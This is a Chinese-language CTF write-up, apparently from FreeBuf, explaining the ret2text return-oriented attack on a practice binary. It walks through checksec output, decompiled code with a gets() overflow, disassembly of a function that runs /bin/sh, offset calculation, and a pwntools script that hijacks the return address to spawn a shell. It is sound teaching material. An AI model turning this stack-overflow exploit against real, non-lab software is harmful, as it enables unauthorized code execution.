Basic-Rop-1
0xdeadbeef
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
Basic-Rop-1

Basic-Rop-1
Exp模板:
# -*- coding: UTF-8 -*-
#by 小渔xiaoyu
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./XXX')
#sh = elf.process()
sh = remote("XXX",XXX)
Ret2text
原理
ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。
————————摘自CTF-WIKI
分析
保护机制
xiaoyu@iot-pwn$ ~/Desktop/basic-rop/ret2text checksec ret2text
[*] '/home/xiaoyu/Desktop/basic-rop/ret2text/ret2text'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
程序信息
xiaoyu@iot-pwn$ ~/Desktop/basic-rop/ret2text binwalk ret2text
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
5300 0x14B4 Unix path: /usr/lib/gcc/x86_64-linux-gnu/4.8/include
代码审计
1、
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets(&s);
printf("Maybe I will tell you next time !");
return 0;
}
简单的栈溢出,gets函数突破口
2、
-------------------------------------------------------------------------------------------
.text:08048648 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:08048648 public main
.text:08048648 main proc near ; DATA XREF: _start+17↑o
.text:08048648
.text:08048648 s = byte ptr -64h
.text:08048648 argc = dword ptr 8
.text:08048648 argv = dword ptr 0Ch
.text:08048648 envp = dword ptr 10h
.text:08048648
.text:08048648 ; __unwind {
.text:08048648 push ebp
.text:08048649 mov ebp, esp
.text:0804864B and esp, 0FFFFFFF0h
.text:0804864E add esp, 0FFFFFF80h
.text:08048651 mov eax, ds:stdout@@GLIBC_2_0
.text:08048656 mov dword ptr [esp+0Ch], 0 ; n
.text:0804865E mov dword ptr [esp+8], 2 ; modes
.text:08048666 mov dword ptr [esp+4], 0 ; buf
.text:0804866E mov [esp], eax ; stream
.text:08048671 call _setvbuf
.text:08048676 mov eax, ds:__bss_start
.text:0804867B mov dword ptr [esp+0Ch], 0 ; n
.text:08048683 mov dword ptr [esp+8], 1 ; modes
.text:0804868B mov dword ptr [esp+4], 0 ; buf
.text:08048693 mov [esp], eax ; stream
.text:08048696 call _setvbuf
.text:0804869B mov dword ptr [esp], offset s ; "There is something amazing here, do you"...
.text:080486A2 call _puts
.text:080486A7 lea eax, [esp+80h+s]
.text:080486AB mov [esp], eax ; s
.text:080486AE call _gets
.text:080486B3 mov dword ptr [esp], offset format ; "Maybe I will tell you next time !"
.text:080486BA call _printf
.text:080486BF mov eax, 0
.text:080486C4 leave
.text:080486C5 retn
.text:080486C5 ; } // starts at 8048648
.text:080486C5 main endp
.text:080486C5
.text:080486C5 ;
---------------------------------------------------------------------------
第30行
.text:080486A7 lea eax, [esp+80h+s]
s是相对于esp索引所以我们需要找到esp的地址这样就可以推断出s的地址以及s相对于ebp,返回地址的偏移地址
查找esp的地址可以从动态调试中获取。
有了这些地址我们就可以计算需要填充多少字符去溢出。
查看程序是否还有可以直接利用的东西
ROPgadget --binary ret2text --string "/bin/sh"
.text:080485FD ; void secure()
.text:080485FD public secure
.text:080485FD secure proc near
.text:080485FD
.text:080485FD input = dword ptr -10h
.text:080485FD secretcode = dword ptr -0Ch
.text:080485FD
.text:080485FD ; __unwind {
.text:080485FD push ebp
.text:080485FE mov ebp, esp
.text:08048600 sub esp, 28h
.text:08048603 mov dword ptr [esp], 0 ; timer
.text:0804860A call _time
.text:0804860F mov [esp], eax ; seed
.text:08048612 call _srand
.text:08048617 call _rand
.text:0804861C mov [ebp+secretcode], eax
.text:0804861F lea eax, [ebp+input]
.text:08048622 mov [esp+4], eax
.text:08048626 mov dword ptr [esp], offset unk_8048760
.text:0804862D call ___isoc99_scanf
.text:08048632 mov eax, [ebp+input]
.text:08048635 cmp eax, [ebp+secretcode]
.text:08048638 jnz short locret_8048646
.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 call _system
.text:08048646
.text:08048646 locret_8048646: ; CODE XREF: secure+3B↑j
.text:08048646 leave
.text:08048647 retn
.text:08048647 ; } // starts at 80485FD
.text:08048647 secure endp
.text:08048647
思路
通过动态调试获取esp的地址然后推断出s的地址以及s相对于ebp,返回地址的偏移地址计算出填充多少字符造成溢出然后构造ROP
去劫持程序跳转到
.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
这个位置
就可以getshell了
动态调试
1、断点0x080486ae
esp_addr = 0xffffcc90
ebp_addr = 0xffffcd18
而s相对于esp的索引为esp+0x1c
s_addr = 0xffffccac
s相对于ebp的偏移为0x6c
0xffffcd18-0xffffccac=0x6c
s相对于返回地址的偏移为0x6c+4
因此我们得出我们payload里填充的字节数为0x6c+4
EXP构造(python2)EXP构造(python2)
# -*- coding: UTF-8 -*-
#by 小渔xiaoyu
from pwn import*
context(os='linux', arch='i386', log_level='debug')
elf = ELF('./ret2text')
sh = elf.process()
shell_add = 0x0804863A
payload = ""
payload += "A"*(0x6c+4)
payload += p32(shell_add)
sh.recvuntil("There is something amazing here, do you know anything?")
sh.sendline(payload)
sh.interactive()
栈帧结构
如下图:
栈帧结构图
本文为 0xdeadbeef 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏

相关推荐
Python Pwn
2022-11-18
linux Pwn环境搭建
2021-12-11
栈迁移利用
2021-11-29
文章目录